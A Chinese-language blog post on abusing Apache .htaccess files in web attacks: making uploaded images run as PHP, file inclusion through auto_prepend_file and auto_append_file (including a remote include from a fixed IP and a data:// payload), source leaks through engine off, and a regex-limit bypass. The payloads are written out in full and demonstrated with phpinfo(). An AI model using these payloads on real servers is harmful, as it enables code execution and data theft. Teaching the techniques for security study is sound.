1.简介
1.1基本概念
.htaccess
文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride
指令来设置。
.htaccess 中有 #
单行注释符, 且支持 \
拼接上下两行。
1.2作用范围
.htaccess
文件中的配置指令作用于 .htaccess
文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess
文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess
文件中的指令可能会覆盖其上级目录中的 .htaccess
文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
1.3配置文件
启动 .htaccess,需要在服务器的主配置文件将AllowOverride 设置为 All,如 apache2.confAllowOverride All #启动.htaccess文件的使用
也可以将 .htaccess 修改为其他名AccessFileName .config #将.htaccess修改为.config
2.常见指令
2.1SetHandler
SetHandler
可以强制所有匹配的文件被一个指定的处理器处理
用法:SetHandler handler-name|None
示例1:SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php
解析
示例2:SetHandler server-status
这是查看apache的服务器信息的(默认是关闭状态,图源自网络)
访问任意不存在的文件,加参数 ?refresh=5 来实现每隔 5s 自动刷新
2.2AddHander,AddType
Example:
AddType application/x-httpd-php .htm
#.htm后缀的文件视为php文件执行AddHandler cgi-script .aaa
#后缀名为.aaa的文件视为cgi脚本执行AddType application/x-httpd-php png jpg gif
#将png,jpg,gif后缀名都视为php执行
可以看到以上三个指令作用基本一致,都是有很大的安全漏洞的,可以进行文件上传和包含漏洞
2.3php_value
当使用PHP
作为Apache
模块时,也可以用Apache
的配置文件(例如 httpd.conf)和 .htaccess
文件中的指令来修改 php 的配置设定。需要有AllowOverride Options
或AllowOverride All
权限才可以。
php_value
设定指定的值。要清除先前设定的值,把 value 设为 none
。不要用 php_value
设定布尔值。应该用 php_flag
。
用法:
`php_value name value`
使用的范围:
由上可知.htaccess
只能用于 PHP_INI_ALL
或 PHP_INI_PERDIR
类型的指令。
查看php.ini 配置选项列表,寻找可利用指令
- 文件包含配置选项
- auto_prepend_file:在主文件解析之前自动解析包含的文件
- auto_append_file:在主文件解析后自动解析包含的文件
如:php_value auto_prepend_file 1.jpg
#每次访问一个php
文件,都会先解析1.jpg图片,如果里面有代码就会执行
- 绕过preg_match
引例:
1 | php_value pcre.backtrack_limit 0 |
将正则匹配的回溯次数设为0,来达到绕过的效果
2.4php_flag
php_flag
用来设定布尔值的 php.ini
配置指令
用法:
查看,寻找可利用指令php_flag name on|off
将其中的engine设为0可以关闭php解析从而达到源码泄露的目的
如:php_flag engine off
2.5.htaccess文件的注释特征
在htaccess文件内注释符号是#,这里要注意#一般放在行首,并且只能注释一行
1 | php_value auto_prepend_file 1.png |
假如我们要多行注释该怎么办呢,htaccess文件里面可以用反斜杠(%0a)转义换行符,去连接
不同行的代码:
1 | php_value auto_prepend_fi\ |
如例2,里面的\
并不只是单单的\
,他实际上是\%0a、
,转义了换行符,所以我们根据这种特征,用#\%0a
来多行注释
3.Htaccess的利用方式
3.1文件解析
经常出现在文件上传的黑名单没有限制 .htaceess
后缀,通过上传 .htaccess
文件,再上传图片,使图片的php
恶意代码得以被解析执行
使用方法有如下两种:
sethandler:
1
2
3
4# 将test.gif 当做 PHP 执行
<FilesMatch "test.gif">
SetHandler application/x-httpd-php
</FilesMatch>1
phpinfo();
addtype:
1
2# 将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .png
3.2文件包含
3.2.1本地文件包含(LFI)
通过 php_value
来设置 auto_prepend_file
或者 auto_append_file
配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php
文件来触发。
.htaccess
分别通过这两个配置选项来包含 /etc/passwd
,并访问同目录下的 index.php
文件。
- auto_prepend_file
php_value auto_prepend_file C:\Users\22927\Desktop\新建文件夹\User_Pwds.txt
这个意思是当我们打开一个php文件之前,我们会先打开User_Pwds.txt
文件
1 |
|
可以看到我们的字典文件已经被打开了
- auto_append_file
php_value auto_append_file C:\Users\22927\Desktop\新建文件夹\User_Pwds.txt
意思是在执行完一个php文件后,解析User_Pwds.txt
文件
如图,先输出了hello,再输出passwd
3.2.2远程文件包含(RFI)
PHP 的all_url_include
配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为all_url_include
的配置范围为 PHP_INI_SYSTEM
,所以无法利用php_flag
在.htaccess
中开启
因此想要运用就得将all_url_include=on
开启
这里为了演示,就在 php.ini 中设置 all_url_include 为 Onphp_value auto_append_file [http://10.87.9.156/phpinfo.txt](http://10.87.9.156/phpinfo.txt)
可以看到先输出了hello再运行了phpinfo();
3.3信息泄露
利用 php_flag
将 engine
设置为 0
,在本目录和子目录中关闭 php 解析,造成源码泄露php_flag engine 0
这里在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码
可以看到直接给我们自动下载源文件了
3.4代码执行
3.4.1利用伪协议
前提条件:all_url_fopen
=on,all_url_include
=on
1 | php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
这边成功的打开了phpinfo!
3.4.2解析.htaccess
方法一:
1
2
3php_value auto_append_file .htaccess
#这里是注释哦!
#<?php phpinfo();?>这种方法在我们随便打开一个PHP文件后就会去解析.htaccess文件(这里的htaccess文件一定要和php文件在一个目录下!!!!)
方法二:
这种适合同目录或子目录没有php
文件。
需要先设置允许可访问 .htaccess
文件
1 | <Files ~ "^.ht"> |
参考文献:
https://xz.aliyun.com/t/8267#toc-20
不得不说这个博主真的牛
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.